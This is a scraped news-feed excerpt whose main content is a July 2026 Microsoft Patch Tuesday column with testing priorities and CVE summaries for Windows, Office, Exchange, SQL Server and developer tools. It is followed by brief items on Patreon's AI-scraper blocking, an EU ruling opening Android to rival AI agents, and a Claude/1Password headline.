<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patreon stops asking AI bots not to scrape — and starts blocking them]]></title>
<description><![CDATA[Patreon is strengthening its defenses against AI scraping by working with Cloudflare to block bots that train AI models on creators’ content without permission. The move marks a shift away from relying on websites using robots.txt alone to actively block unauthorized AI training.]]></description>
<link>https://tsecurity.de/de/3676491/it-nachrichten/patreon-stops-asking-ai-bots-not-to-scrape-and-starts-blocking-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676491/it-nachrichten/patreon-stops-asking-ai-bots-not-to-scrape-and-starts-blocking-them/</guid>
<pubDate>Fri, 17 Jul 2026 17:33:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Patreon is strengthening its defenses against AI scraping by working with Cloudflare to block bots that train AI models on creators’ content without permission. The move marks a shift away from relying on websites using robots.txt alone to actively block unauthorized AI training.]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37510 spinner verification]]></title>
<description><![CDATA[Direct OpenCode Drive capture of the active thinking spinner for PR #37510.]]></description>
<link>https://tsecurity.de/de/3676483/downloads/pr-37510-spinner-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676483/downloads/pr-37510-spinner-verification/</guid>
<pubDate>Fri, 17 Jul 2026 17:32:37 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Direct OpenCode Drive capture of the active thinking spinner for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912530081" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37510" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37510/hovercard" href="https://github.com/anomalyco/opencode/pull/37510">#37510</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37510 visual verification]]></title>
<description><![CDATA[OpenCode Drive screenshots for PR #37510.]]></description>
<link>https://tsecurity.de/de/3676441/downloads/pr-37510-visual-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676441/downloads/pr-37510-visual-verification/</guid>
<pubDate>Fri, 17 Jul 2026 17:16:54 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenCode Drive screenshots for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912530081" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37510" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37510/hovercard" href="https://github.com/anomalyco/opencode/pull/37510">#37510</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google must open Android to rival AI agents, EU orders]]></title>
<description><![CDATA[The European Union is stepping up its actions against US tech giants under the Digital Markets Act, which is intended to ensure fair competition between digital platforms. On Thursday, the European Commission issued two rulings to limit Google’s dominance.



The Commission ordered Google to open...]]></description>
<link>https://tsecurity.de/de/3676390/it-security-nachrichten/google-must-open-android-to-rival-ai-agents-eu-orders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676390/it-security-nachrichten/google-must-open-android-to-rival-ai-agents-eu-orders/</guid>
<pubDate>Fri, 17 Jul 2026 17:10:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The European Union is stepping up its actions against US tech giants under the Digital Markets Act, which is intended to ensure fair competition between digital platforms. On Thursday, the European Commission issued <a href="https://digital-strategy.ec.europa.eu/en/news/commission-provides-guidance-google-ai-interoperability-android-and-sharing-google-search-data" target="_blank" rel="noreferrer noopener">two rulings to limit Google’s dominance</a>.</p>



<p class="wp-block-paragraph">The Commission ordered Google to open up the Android operating system to AI assistants other than its own Gemini, ensuring that they had the same access to applications and operating system services. A second ruling ordered Google to <a href="https://www.computerworld.com/article/4159968/google-should-share-search-data-to-break-its-monopoly-european-commission-suggests.html">share search data</a> that only it is big enough to collect with other search engines.</p>



<p class="wp-block-paragraph">Google has hit back at the measures, warning that they could create security issues for users. “Today’s decisions risk undermining vital privacy and security guardrails for millions of Europeans. We have repeatedly offered solutions to safeguard users while satisfying the DMA’s goals, but these rulings discount extensive evidence of user harm,” said Kent Walker, Google’s President of Global Affairs, <a href="https://blog.google/company-news/inside-google/around-the-globe/google-europe/the-dma-should-not-undercut-security-privacy-for-europeans/" target="_blank" rel="noreferrer noopener">in a company blog post</a>.</p>



<p class="wp-block-paragraph">The EU move doesn’t just cause problems for Google but for CISOs as well, warned Roman Stanek, CEO of Good Data AI. “Enterprise security has always leaned on a simple assumption, that apps are boxes, and the OS decides what crosses the box. But once multiple agents get equal system-level reach, access to screen context, cross-app actions, background execution, that assumption breaks.</p>



<p class="wp-block-paragraph">“CISOs need to stop treating ‘AI assistant’ as a single, well-understood permission and start treating it as a category risk, one they have to govern like they govern app stores and MDM policies today. That requires device policies that name which agents can hold system-level permissions, not just which apps are installed. It means DLP and conditional access rules that account for an agent reading and acting on data, not just an app requesting it.,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Computerworld.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google must open Android to rival AI agents, EU orders]]></title>
<description><![CDATA[The European Union is stepping up its actions against US tech giants under the Digital Markets Act, which is intended to ensure fair competition between digital platforms. On Thursday, the European Commission issued two rulings to limit Google’s dominance.



The Commission ordered Google to open...]]></description>
<link>https://tsecurity.de/de/3676376/it-nachrichten/google-must-open-android-to-rival-ai-agents-eu-orders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676376/it-nachrichten/google-must-open-android-to-rival-ai-agents-eu-orders/</guid>
<pubDate>Fri, 17 Jul 2026 17:03:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The European Union is stepping up its actions against US tech giants under the Digital Markets Act, which is intended to ensure fair competition between digital platforms. On Thursday, the European Commission issued <a href="https://digital-strategy.ec.europa.eu/en/news/commission-provides-guidance-google-ai-interoperability-android-and-sharing-google-search-data" target="_blank" rel="noreferrer noopener">two rulings to limit Google’s dominance</a>.</p>



<p class="wp-block-paragraph">The Commission ordered Google to open up the Android operating system to AI assistants other than its own Gemini, ensuring that they had the same access to applications and operating system services. A second ruling ordered Google to <a href="https://www.computerworld.com/article/4159968/google-should-share-search-data-to-break-its-monopoly-european-commission-suggests.html">share search data</a> that only it is big enough to collect with other search engines.</p>



<p class="wp-block-paragraph">Google has hit back at the measures, warning that they could create security issues for users. “Today’s decisions risk undermining vital privacy and security guardrails for millions of Europeans. We have repeatedly offered solutions to safeguard users while satisfying the DMA’s goals, but these rulings discount extensive evidence of user harm,” said Kent Walker, Google’s President of Global Affairs, <a href="https://blog.google/company-news/inside-google/around-the-globe/google-europe/the-dma-should-not-undercut-security-privacy-for-europeans/" target="_blank" rel="noreferrer noopener">in a company blog post</a>.</p>



<p class="wp-block-paragraph">The EU move doesn’t just cause problems for Google but for CISOs as well, warned Roman Stanek, CEO of Good Data AI. “Enterprise security has always leaned on a simple assumption, that apps are boxes, and the OS decides what crosses the box. But once multiple agents get equal system-level reach, access to screen context, cross-app actions, background execution, that assumption breaks.</p>



<p class="wp-block-paragraph">“CISOs need to stop treating ‘AI assistant’ as a single, well-understood permission and start treating it as a category risk, one they have to govern like they govern app stores and MDM policies today. That requires device policies that name which agents can hold system-level permissions, not just which apps are installed. It means DLP and conditional access rules that account for an agent reading and acting on data, not just an app requesting it.,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude can now enter all your passwords for you - if you give it permission]]></title>
<description><![CDATA[1Password partnership will mean Claude will never see the secrets or load them into its own memory.]]></description>
<link>https://tsecurity.de/de/3676292/it-nachrichten/claude-can-now-enter-all-your-passwords-for-you-if-you-give-it-permission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676292/it-nachrichten/claude-can-now-enter-all-your-passwords-for-you-if-you-give-it-permission/</guid>
